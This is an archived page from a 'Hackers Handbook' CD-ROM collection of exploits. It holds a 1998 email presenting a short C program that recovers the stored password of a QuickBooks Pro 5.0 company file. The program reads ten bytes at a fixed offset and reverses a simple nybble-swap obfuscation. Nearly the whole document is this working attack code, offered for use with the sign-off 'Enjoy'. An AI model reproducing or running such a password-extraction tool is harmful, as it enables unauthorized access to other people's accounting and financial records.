home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / exploits / get-qb-pw.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-10-19  |  1.5 KB  |  76 lines

  1. From: Eric Blossom
  2. Sent: Tuesday, August 18, 1998 6:25 PM
  3. Subject: Here's code that gets password for QuickBooks Pro
  4.  
  5. Hi,
  6.  
  7. Here's a simple hack that extracts the not very cleverly hidden password
  8. stored in QuickBooks.  I've only tested it with QuickBooks Pro version 5.0.
  9.  
  10. Enjoy,
  11. Eric
  12.  
  13. /* -*-C-*-
  14. ****************************************************************************
  15. ***
  16. *
  17. * File:         get-qb-pw.c
  18. * RCS:          $Id: $
  19. * Description:  get the "quick books pro" password
  20. * Author:       Eric Blossom
  21. * Created:      Tue Aug 18 14:09:30 1998
  22. * Modified:     Tue Aug 18 17:39:22 1998 (eric) eb@starium.com
  23. * Language:     C
  24. * Package:      N/A
  25. * Status:       Experimental (Do Not Distribute)
  26. *
  27. ****************************************************************************
  28. ***
  29. */
  30.  
  31. /*
  32.  * This has been tested only on QuickBooks Pro version 5.0
  33.  */
  34.  
  35. #include <stdio.h>
  36.  
  37. main (int argc, char **argv)
  38. {
  39.   FILE          *fp;
  40.   int           i;
  41.   unsigned char raw[10];
  42.  
  43.   if (argc != 2){
  44.     fprintf (stderr, "usage: get-qb-pw filename\n");
  45.     exit (1);
  46.   }
  47.  
  48.   if ((fp = fopen (argv[1], "rb")) == 0){
  49.     perror (argv[0]);
  50.     exit (1);
  51.   }
  52.  
  53.  
  54.   if (fseek (fp, 7635, SEEK_SET) != 0){
  55.     perror ("fseek failed");
  56.     exit (1);
  57.   }
  58.  
  59.   if (fread (raw, 1, 10, fp) != 10){
  60.     perror ("fread failed");
  61.     exit (1);
  62.   }
  63.  
  64.   for (i = 9; i >= 0; i--){
  65.     int         t;
  66.  
  67.     if (raw[i] == 0)
  68.       continue;
  69.  
  70.     t = ((raw[i] & 0xf) << 4) | ((raw[i] >> 4)  & 0xf); /* swap nybbles */
  71.     putchar (-t + 255);
  72.   }
  73.  
  74.   putchar ('\n');
  75. }
  76.